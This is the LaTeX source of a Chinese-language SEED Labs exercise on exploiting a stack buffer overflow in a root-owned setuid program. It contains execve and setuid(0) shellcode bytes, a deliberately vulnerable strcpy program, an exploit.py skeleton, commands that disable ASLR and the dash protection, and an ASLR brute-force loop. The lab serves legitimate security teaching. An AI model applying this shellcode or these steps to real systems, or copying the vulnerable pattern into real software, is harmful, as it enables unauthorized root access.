```
%%  Copyright by Wenliang Du.                                       %%
%%  This work is licensed under the Creative Commons                %%
%%  Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%%  To view a copy of this license, visit                           %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}

\input{\commonfolder/header}
\input{\commonfolder/copyright}


\newcommand{\bufFigs}{./Figs}

\lhead{\bfseries SEED Labs -- 缓冲区溢出攻击实验（Set-UID版本）}

\def \code#1 {\fbox{\scriptsize{\texttt{#1}}}}

\begin{document}

\begin{center}
{\LARGE 缓冲区溢出攻击实验（Set-UID版本）}
\end{center}

\seedlabcopyright{2006 - 2020}


% *******************************************
% SECTION
% ******************************************* 
\section{概述}

缓冲区溢出被定义为程序试图将数据写入缓冲区边界之外的情况。这种漏洞可以被恶意用户利用来改变程序的流程控制，导致执行恶意代码。
本实验的目标是让学生获得对这种类型的漏洞的实际见解，并学习如何在攻击中利用此漏洞。

在这个实验中，学生将给定一个具有缓冲区溢出漏洞的程序；他们的任务是开发一种方案来利用该漏洞并最终获取 root 权限。除了攻击外，还将指导学生了解操作系统实施以防止缓冲区溢出攻击的各种保护机制。学生需要评估这些机制是否有效，并解释原因。本实验涵盖了以下主题：

\begin{itemize}[noitemsep]
    \item 缓冲区溢出漏洞和攻击
    \item 栈布局
    \item 地址随机化、不可执行栈以及 StackGuard
    \item 32位和64位 shellcode
    \item The return-to-libc 攻击，旨在击败非执行栈防御措施，在单独的实验中进行了覆盖。
\end{itemize}

\paragraph{阅读材料和视频。}
详细介绍了缓冲区溢出攻击的内容可以在以下部分找到：

\begin{itemize}
    \item SEED 书籍第4章，\seedbook
    \item Udemy 上的 SEED 讲座章节4，\seedcsvideo
\end{itemize}

\paragraph{实验环境。}
\seedenvironmentC

\paragraph{教师注意事项。} 
教师可以通过选择 \texttt{L1}, ..., \texttt{L4} 的值来自定义此实验。详情请参阅 Section~\ref{sec:vulnerable_program}。
根据学生的背景知识和为本实验分配的时间，教师可以选择将第2级、第3级和第4级任务（或其中的一些）设为选修课。第1级任务足以涵盖缓冲区溢出攻击的基础内容。从第2到第4级提高了攻击难度。所有防护措施均基于第1级任务，因此跳过其他级别不会影响那些任务。

% *******************************************
% SECTION
% ******************************************* 
\section{环境设置}

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{禁用防御机制}

现代操作系统已实现多种安全机制以使缓冲区溢出攻击更加困难。为了简化我们的攻击，我们首先需要先禁用它们。
稍后我们将启用这些保护措施并观察攻击是否仍然成功。

\paragraph{地址空间随机化。}
Ubuntu 和其他几种 Linux 系统使用地址空间随机化来随机化堆和栈的起始地址。这使得猜测确切地址变得困难；猜测地址是缓冲区溢出攻击的关键步骤之一。
可以使用以下命令禁用此功能：

\begin{lstlisting}
$ sudo sysctl -w kernel.randomize_va_space=0
\end{lstlisting}

\paragraph{配置 \texttt{/bin/sh}。} 在最近版本的 Ubuntu 操作系统中，\texttt{/bin/sh} 符号链接指向另一个 shell \texttt{/bin/dash}。程序 \texttt{dash} 以及 \texttt{bash} 实现了一种安全措施来防止它们在 setuid 进程中执行。基本来说，如果检测到它们被以 setuid 方式执行，则会立即更改有效用户 ID 为进程的真实用户 ID，实质上放弃权限。

由于我们的目标程序是一个 setuid 程序，并且攻击依赖于运行 \texttt{/bin/sh}，\texttt{/bin/dash} 中的防御措施使攻击更加困难。因此，我们将 \texttt{/bin/sh} 链接到另一个没有这种防御机制的 shell（稍后我们会展示，在一些努力之后，可以轻松地击败 \texttt{/bin/dash} 的防御机制）。我们在 Ubuntu 20.04 虚拟机中安装了一个名为 \texttt{zsh} 的 shell 程序。使用以下命令可将 \texttt{/bin/sh} 链接到 \texttt{zsh}：

\begin{lstlisting}
$ sudo ln -sf /bin/zsh /bin/sh
\end{lstlisting}

\paragraph{StackGuard 和不可执行栈。} 这是系统中实现的两种额外防御机制。它们在编译时可以关闭。
我们将在之后讨论如何在编译易受攻击程序时关闭这些防御措施。

% *******************************************
% SECTION
% ******************************************* 
\section{任务1：熟悉 Shellcode}

缓冲区溢出攻击的最终目标是在目标程序中注入恶意代码，从而利用目标程序的权限执行此代码。Shellcode 在大多数代码注入攻击中被广泛使用。
让我们在本任务中对其有所了解。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{C 语言版本 Shellcode} 

Shellcode 是基本的一段代码，用于启动一个 shell 程序。如果我们用 C 语言实现它，看起来会像下面这样：

\begin{lstlisting}[language=C]
#include <stdio.h>

int main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
\end{lstlisting}

不幸的是，我们不能直接编译这段代码并将二进制文件作为我们的 shellcode 使用（关于此的详细解释在 SEED 书籍中有提供）。编写 Shellcode 的最佳方式是使用汇编语言。在这个实验中，我们仅提供了 Shellcode 的二进制版本而没有对其进行解释（这是因为比较复杂）。
如果你对 shellcode 究竟是如何工作的感兴趣，并希望从零开始编写 shellcode，可以从 SEED 实验室中的 Shellcode 实验中学习。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{32位 Shellcode} 

\begin{lstlisting}[language={[x86masm]Assembler}] 
; 将命令存放在栈上
xor  eax, eax
push eax          
push "//sh"
push "/bin"
mov  ebx, esp     ; ebx --> "/bin//sh": execve()'s 第一个参数

; 构建 argument 数组 argv[]
push eax          ; argv[1] = 0
push ebx          ; argv[0] --> "/bin//sh"
mov  ecx, esp     ; ecx --> argv[]: execve()'s 第二个参数

; 环境变量 
xor  edx, edx     ; edx = 0: execve()'s 第三个参数

; 调用 execve()
xor  eax, eax     ; 
mov  al,  0x0b    ; execve()'s 系统调用号
int  0x80
\end{lstlisting}

上述 shellcode 实际上是通过调用 \texttt{execve()} 系统调用来执行 \texttt{/bin/sh}。在单独的 SEED 实验中，我们指导学生编写了 Shellcode。
这里我们将提供非常简短的解释：

- 将 \texttt{"//sh"} 推入栈而不是 \texttt{"/sh"}，这是因为我们需要一个 32 位数字，而 \texttt{"/sh"} 只有 24 位。幸运的是，“//” 等同于 “/”，所以我们可以使用双斜杠符号来解决这个问题。
- 需要通过寄存器 \texttt{ebx}、\texttt{ecx} 和 \texttt{edx} 分别传递给 \texttt{execve()} 三个参数， shellcode 的大部分内容就是构造这三个参数的内容。
- 当我们将 \texttt{al} 设置为 \texttt{0x0b} 并执行 \texttt{"int 0x80"} 时调用系统调用 execve()。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{64位 Shellcode}

我们提供了一个示例的 64 位 shellcode，如下所示。它与 32 位 shellcode 非常相似，只是寄存器名称不同以及 \texttt{execve()} 系统调用所使用的寄存器也不同。
在注释中进行了部分解释，并未提供详细的 shellcode 解释。

\begin{lstlisting}[language={[x86masm]Assembler}]
xor  rdx, rdx        ; rdx = 0: execve()'s 第三个参数
push rdx
mov  rax, '/bin//sh' ; 要运行的命令
push rax             ;
mov  rdi, rsp        ; rdi --> "/bin//sh": execve()'s 第一个参数 
push rdx             ; argv[1] = 0
push rdi             ; argv[0] --> "/bin//sh"
mov  rsi, rsp        ; rsi --> argv[]: execve()'s 第二个参数
xor  rax, rax
mov  al,  0x3b       ; execve()'s 系统调用号
syscall              
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务：调用 shellcode} 

我们已从上述汇编代码中生成了二进制代码，并将其放在名为 \texttt{call\_shellcode.c} 的 C 程序文件中的 shellcode 文件夹内。如果你有兴趣自己学习如何生成该二进制代码，你应该完成 Shellcode 实验。
在本任务中，我们将测试 shellcode。

\begin{lstlisting}[language=C, caption=\texttt{call\_shellcode.c}, label=call_shellcode]
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[] =
#if __x86_64__
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode); // 将 shellcode 复制到栈上
   int (*func)() = (int(*)())code;
   func();                 // 从栈上调用 shellcode
   return 1;
} 
\end{lstlisting}
上述代码包括两个 shellcode 的副本，一个是32位的另一个是64位的。当我们使用 \texttt{-m32} 标志编译程序时将使用32位版本；如果不使用此标志，则将使用64位版本。
使用提供的 \texttt{Makefile} 通过键入 \texttt{make} 编译代码。两个二进制文件将被创建，\texttt{a32.out} (32位) 和 \texttt{a64.out} (64位)。运行它们并描述你的观察结果。
请注意编译时使用了 \texttt{execstack} 选项，这允许代码从堆栈执行；如果没有此选项，则程序将失败。

% *******************************************
% SECTION
% ******************************************* 
\section{任务2：了解易受攻击的程序}
\label{sec:vulnerable_program}

本实验中使用的易受攻击的程序名为 \texttt{stack.c}，位于 \texttt{code} 文件夹内。
此程序存在缓冲区溢出漏洞，并且您的任务是利用该漏洞并获得 root 权限。代码已去除一些非本质的信息，所以它与您从实验设置文件中获取的内容略有不同。

\begin{lstlisting}[language=C, caption={易受攻击的程序 (\texttt{stack.c})}]
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* 更改此大小将更改堆栈布局。
 * 教师每年可以更改此值，因此学生无法使用过去的方法。 */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* 下面的语句具有缓冲区溢出问题 */ 
    strcpy(buffer, str);          

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
\end{lstlisting}

上述程序存在缓冲区溢出漏洞。它首先从名为 \texttt{badfile} 的文件读取输入，然后将此输入传递给函数中的另一个缓冲区 \texttt{bof()}。原始输入的最大长度为 \texttt{517} 字节，但 \texttt{bof()} 中的缓冲区大小仅为 \texttt{BUF_SIZE} 字节，且小于 \texttt{517}。
因为 \texttt{strcpy()} 不检查边界，所以会发生缓冲区溢出。由于此程序是 root 所拥有的 setuid 程序，如果普通用户能够利用这个缓冲区溢出漏洞，则可能能够获得一个 root shell。
请注意，该程序从名为 \texttt{badfile} 的文件中获取输入。此文件由用户控制。现在我们的目标是创建 \texttt{badfile} 文件的内容，当易受攻击的程序将这些内容复制到其缓冲区时，可以启动一个 root shell。

\paragraph{编译。}
要编译上述易受攻击的程序，请不要忘记使用 \texttt{-fno-stack-protector} 和 \texttt{"-z execstack"} 选项来禁用 StackGuard 和不可执行栈保护。
编译完成后，我们需要将程序设置为 root 所拥有的 setuid 程序。我们可以通过首先更改程序的所有权（行 \ding{192}）到根，然后将权限更改为 \texttt{4755} 以启用 setuid 比特（行 \ding{193}）。请注意，在设置 setuid 比特之前必须更改所有权，因为所有权更改会关闭此位。

\begin{lstlisting}
$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack          (*@\ding{192}@*)
$ sudo chmod 4755 stack          (*@\ding{193}@*)
\end{lstlisting}

编译和设置命令已包含在 \texttt{Makefile} 中，所以我们只需键入 \texttt{make} 执行这些命令。变量 \texttt{L1}, ..., \texttt{L4} 在 \texttt{Makefile} 中被设置；它们将在编译过程中使用。
如果讲师选择不同的值，请在 \texttt{Makefile} 中更改这些变量。

\paragraph{教师注意事项（自定义）。}
为了使本次实验与过去提供的略有不同，讲师可以改变 \texttt{BUF_SIZE} 的值，要求学生使用不同的 \texttt{BUF_SIZE} 值编译服务器代码。在 \texttt{Makefile} 中， \texttt{BUF_SIZE} 通过四个变量 \texttt{L1}, ..., \texttt{L4} 来设置。
讲师应根据以下建议选择这些变量的值：

- \texttt{L1}: 在100和400之间选择一个数字
- \texttt{L2}: 在100和200之间选择一个数字
- \texttt{L3}: 在100和400之间选择一个数字
- \texttt{L4}: 我们需要保持此数较小，以使此级别比前面的级别更具挑战性。由于可选方案不多，我们将将其固定为10。

% *******************************************
% SECTION
% *******************************************
\section{任务3：针对 32位 程序（第1级）发起攻击}

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{调查} 

要利用目标程序中的缓冲区溢出漏洞，最重要的是要知道缓冲区起始位置与返回地址存储位置之间的距离。我们将使用调试方法来找出该距离。
由于我们有目标程序的源代码，我们可以用调试标志将其编译出来，这样会更方便调试。

我们需要向 \texttt{gcc} 命令添加 \texttt{-g} 标志，因此二进制文件中包含了调试信息。如果你运行 \texttt{make}，已经创建了调试版本。我们将使用 \texttt{gdb} 来调试 \texttt{stack-L1-dbg}。在运行程序之前需要先创建一个名为 \texttt{badfile} 的文件。

%\newcommand{\pointleft}{\reflectbox{\ding{221}}\xspace}

\begin{lstlisting}
$ touch badfile       (*@\pointleft{创建一个空的坏文件}@*)
$ gdb stack-L1-dbg
gdb-peda$ b bof       (*@\pointleft{在函数 bof() 设置断点}@*)
Breakpoint 1 at 0x124d: file stack.c, line 18.
gdb-peda$ run         (*@\pointleft{开始执行程序}@*)
...
Breakpoint 1, bof (str=0xffffcf57 ...) at stack.c:18
18  {
gdb-peda$ next        (*@\pointleft{查看下方的注释}@*)
...
22	    strcpy(buffer, str);
gdb-peda$ p $ebp      (*@\pointleft{获取 ebp 值}@*)
$1 = (void *) 0xffffdfd8   
gdb-peda$ p &buffer   (*@\pointleft{获取缓冲区地址}@*)
$2 = (char (*)[100]) 0xffffdfac
gdb-peda$ quit        (*@\pointleft{退出}@*)
\end{lstlisting}

\paragraph{注1。} 当 \texttt{gdb} 停在 \texttt{bof()} 函数内部时，它会在设置 \texttt{ebp} 寄存器以指向当前栈帧之前停止，因此如果我们在此处打印出 \texttt{ebp} 的值，将会获得调用者的 \texttt{ebp} 值。我们需要使用 \texttt{next} 执行几条指令，并在修改了 \texttt{ebp} 寄存器以指向 \texttt{bof()} 函数的栈帧之后停止。
\texttt{gdb} 的行为与 SEED 书籍基于 Ubuntu 16.04，因此书中没有包含 \texttt{next} 步骤。

\paragraph{注2。}
请注意，从 \texttt{gdb} 获取的框架指针值在实际执行时是不同的，因为 \texttt{gdb} 在运行调试程序之前将一些环境数据推入栈中。
当直接运行程序而不是使用 \texttt{gdb} 时，栈不包含这些数据，所以实际的帧指针值更大。当你构建你的 payload 时请记住这一点。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{发起攻击}

要利用目标程序中的缓冲区溢出漏洞，我们需要准备一个 payload，并将其保存在 \texttt{badfile} 中。
我们将使用 Python 程序来实现此目的。我们提供了一个名为 \texttt{exploit.py} 的示例程序，其包含于实验设置文件中。
代码不完整，学生需要替换一些重要的值。

\newcommand{\needtochange}{\ding{73} 需要更改 \ding{73}}

\begin{lstlisting}[language=python, caption={\texttt{exploit.py}}]
#!/usr/bin/python3
import sys

shellcode= (
  ""                    # (*@\needtochange@*)
).encode('latin-1')

# 填充内容使用 NOP 指令
content = bytearray(0x90 for i in range(517))

##################################################################
# 将 shellcode 放在 payload 的某个地方
start = 0               # (*@\needtochange@*)
content[start:start + len(shellcode)] = shellcode

# 决定返回地址的值
# 并将该值放在 payload 中的某处
ret    = 0x00           # (*@\needtochange@*)
offset = 0              # (*@\needtochange@*)

L = 4     # 使用 4 来表示32位地址，使用8来表示64位地址
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# 将内容写入一个文件中
with open('badfile', 'wb') as f:
  f.write(content)
\end{lstlisting}

完成后运行该程序，这将生成 \texttt{badfile} 的内容。然后运行易受攻击的程序 \texttt{stack}。如果您的exploit实现正确，则您应该能够获得一个 root shell：

\begin{lstlisting}
$./exploit.py     // 创建坏文件
$./stack-L1       // 通过运行漏洞程序启动攻击
# <---- 中彩票了！你获得了root shell!
\end{lstlisting}

在你的实验报告中，除了提供截图来展示你的调查和攻击外，还需要解释你在 \texttt{exploit.py} 文件中使用的值是如何决定的。这些值是攻击中最重要的一部分，因此详细的说明可以帮助讲师评估你的报告。仅演示成功的攻击而不解释为什么这个攻击起作用将不会获得很多分数。

% *******************************************
% SECTION
% *******************************************
\section{任务4：在不知道缓冲区大小的情况下发起攻击（第2级）}

在第一级攻击中，使用 \texttt{gdb} 我们知道了缓冲区的大小。但是在现实世界中，这可能很难得到。例如，如果目标是一个运行在远程机器上的服务器程序，我们无法获取二进制或源代码副本。在这个任务中我们将增加一个约束：你仍可以使用 \texttt{gdb}，但不允许从调查中推导出缓冲区大小。事实上，缓冲区大小已经在 \texttt{Makefile} 中提供，但是你不允许在攻击中使用这些信息。

你的任务是通过这种限制条件将易受攻击的程序运行你的 shellcode。我们假设你知道缓冲区大小的范围为100到200字节。另一个可能对你有用的事实是，由于内存对齐的关系，
框架指针的值总是 4 的倍数（32位程序）。请注意，你只能构建一个适用于此范围内所有缓冲区大小的有效负载。
如果你使用暴力破解的方法（即尝试每个缓冲区大小）那么将不会获得全部积分。试着少做一点会更容易被检测和击败。
在你的实验报告中，你需要描述你的方法，并提供证据。

% *******************************************
% SECTION
% *******************************************
\section{任务5：针对 64位 程序发起攻击（第3级）}

在这个任务中我们将将易受攻击的程序编译成一个名为 \texttt{stack-L3} 的64位二进制文件。
我们将在该程序上启动攻击。编译和设置命令已包含在 \texttt{Makefile} 中，与前一任务相似，在报告中需要详细说明你的攻击。

使用 \texttt{gdb} 在 64 位程序上进行调查与在 32 位程序上的方式相同。
唯一的区别是框架指针寄存器的名称不同。在 x86 架构中，框架指针为 \texttt{ebp} 而在 x64 架构中，则是 \texttt{rbp}。

\paragraph{挑战。}相比32位机器上的缓冲区溢出攻击，在64位机器上发起攻击更加困难。最困难的部分在于地址。虽然x64架构支持64位地址空间，但只有从 0x00 到 0x00007FFFFFFFFFFF 的地址是允许的。这意味着对于每个地址（8字节），最高两位总是为零。
这导致了问题。

在我们的缓冲区溢出攻击中，我们需要在一个payload中至少存储一个地址，并通过 \texttt{strcpy()} 将其复制到堆栈中。我们知道 \texttt{strcpy()} 在遇到零时会停止复制。因此，如果payload中的中间位置出现了零，则该位置之后的内容将无法被复制到堆栈中。
如何解决这个问题是这个攻击中最困难的挑战。

% *******************************************
% SECTION
% *******************************************
\section{任务6：针对 64位 程序发起攻击（第4级）}

本次任务的目标程序（\texttt{stack-L4}）与第二级任务类似，不同之处在于缓冲区大小非常小。我们将其设置为10个字节，而在第二级中，缓冲区大小要大得多。
您的目标是通过攻击此 setuid 程序来获得 root shell。由于缓冲区很小可能会遇到额外的挑战。
如果这种情况发生，请解释您如何解决这些挑战。

% *******************************************
% SECTION
% ******************************************* 
\section{任务7：击败 \texttt{dash} 的防御措施}

Ubuntu 操作系统中的 \texttt{dash} shell 在检测到有效 UID 不等于真实 UID 时（这在 setuid 程序中是这种情况），会通过将有效 UID 变为真实 UID 来放弃权限。我们之前让 \texttt{/bin/sh} 指向另一个名为 \texttt{zsh} 的 shell，它没有这样的防御措施。在本任务中我们将将其变回，并看看如何击败该防御措施。请执行以下操作以使 \texttt{/bin/sh} 指向 \texttt{/bin/dash}。

\begin{lstlisting}
$ sudo ln -sf /bin/dash /bin/sh
\end{lstlisting}

为了击败缓冲区溢出攻击中的 \texttt{dash} 防御措施，我们需要做的就是更改真实 UID，使其等于有效 UID。当 root 所拥有的 setuid 程序运行时，有效 UID 为零，在执行 shell 程序之前，我们只需将真实 UID 更改为零即可。
这可以通过在 shellcode 中调用 \texttt{setuid(0)} 来实现。

以下汇编代码演示了如何调用 \texttt{setuid(0)}。二进制代码已置于 \texttt{call_shellcode.c} 内，你只需将其添加到 shellcode 的开头即可。

\begin{lstlisting}[language={[x86masm]Assembler}]
; 调用 setuid(0): 32位
xor ebx, ebx      ; ebx = 0: setuid()'s 参数
xor eax, eax
mov  al, 0xd5     ; setuid()'s 系统调用号
int 0x80

; 调用 setuid(0): 64位
xor rdi, rdi      ; rdi = 0: setuid()'s 参数
xor rax, rax       
mov  al, 0x69     ; setuid()'s 系统调用号
syscall
\end{lstlisting}

\paragraph{实验。} 编译 \texttt{call_shellcode.c} 成一个 root 所拥有的二进制文件（键入 "make setuid"）。运行 shellcode \texttt{a32.out} 和 \texttt{a64.out}，并带有或不带 \texttt{setuid(0)} 系统调用。请描述和解释你的观察结果。

\paragraph{再次尝试发起攻击。}
现在，使用更新的 shellcode 你可以再次针对易受攻击的程序发起攻击，并且这一次，shell 的防御机制已开启。
重复第1级的攻击，看看你是否能够获得 root shell。获取 root shell 后，请运行以下命令来验证此防御措施已启用。虽然不需要在第2和3级别上重复进行相同的攻击，但你可以自由尝试并查看它们是否会起作用。

\begin{lstlisting}
# ls -l /bin/sh /bin/zsh /bin/dash
\end{lstlisting}

% *******************************************
% SECTION
% *******************************************
\section{任务8：击败地址随机化}

在32位 Linux 机器上，堆栈只有19比特的熵，这意味着堆栈基地址可以有 $2^{19} = 524,288$ 种可能性。这个数字不算高，并且很容易通过暴力破解方法被穷尽。
在这个任务中，我们将使用这样的方法来击败我们的32位虚拟机上的地址随机化防御机制。
首先，我们使用以下命令开启 Ubuntu 的地址随机化功能。然后我们再次针对 \texttt{stack-L1} 运行相同的攻击，请描述和解释你的观察结果。

\begin{lstlisting}
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
\end{lstlisting}

接着，使用暴力破解方法反复地攻击易受攻击的程序，希望我们放在 \texttt{badfile} 中的内容最终是正确的。我们将仅尝试针对 32位 的 \texttt{stack-L1} 程序进行攻击。
你可以使用以下 Shell 脚本在无限循环中运行该漏洞程序。如果你的攻击成功，脚本会停止；否则它将继续运行。请耐心等待，因为这可能需要几分钟时间，但如果你非常不幸运，则可能需要更长时间。请描述你的观察结果。

\begin{lstlisting}[language=bash]
#!/bin/bash

SECONDS=0
value=0

while true; do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  ./stack-L1
done
\end{lstlisting}

在64位程序上使用暴力破解攻击会更难，因为熵更大。尽管这不在要求范围内，但可以自由尝试一下，看看是否能幸运地成功。

% *******************************************
% SECTION
% ******************************************* 
\section{任务9：实验其他防御机制}


% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 9.a: 开启 StackGuard 防护}

许多编译器（如 \texttt{gcc}）实现了名为 \textit{StackGuard} 的安全机制来防止缓冲区溢出。在该保护存在的情况下，缓冲区溢出攻击将不会起作用。
在前面的任务中我们在编译程序时关闭了 StackGuard 保护机制。在本任务中我们将开启它并观察会发生什么。

首先重复第1级攻击而无需开启 StackGuard，确认攻击仍然成功。记住要先关闭地址随机化，因为在前一个任务中你已经将其打开了。
然后通过重新编译易受攻击的 \texttt{stack.c} 程序而不使用
\texttt{-fno-stack-protector} 标志来开启 StackGuard 保护。
在 \texttt{gcc} 版本4.3.3 及以上中，StackGuard 默认启用。发起攻击并报告和解释你的观察结果。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 9.b: 开启不可执行栈防护}

\input{part_nonexecutable_stack}

% *******************************************
% SECTION
% ******************************************* 
\section{提交}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\end{document}
```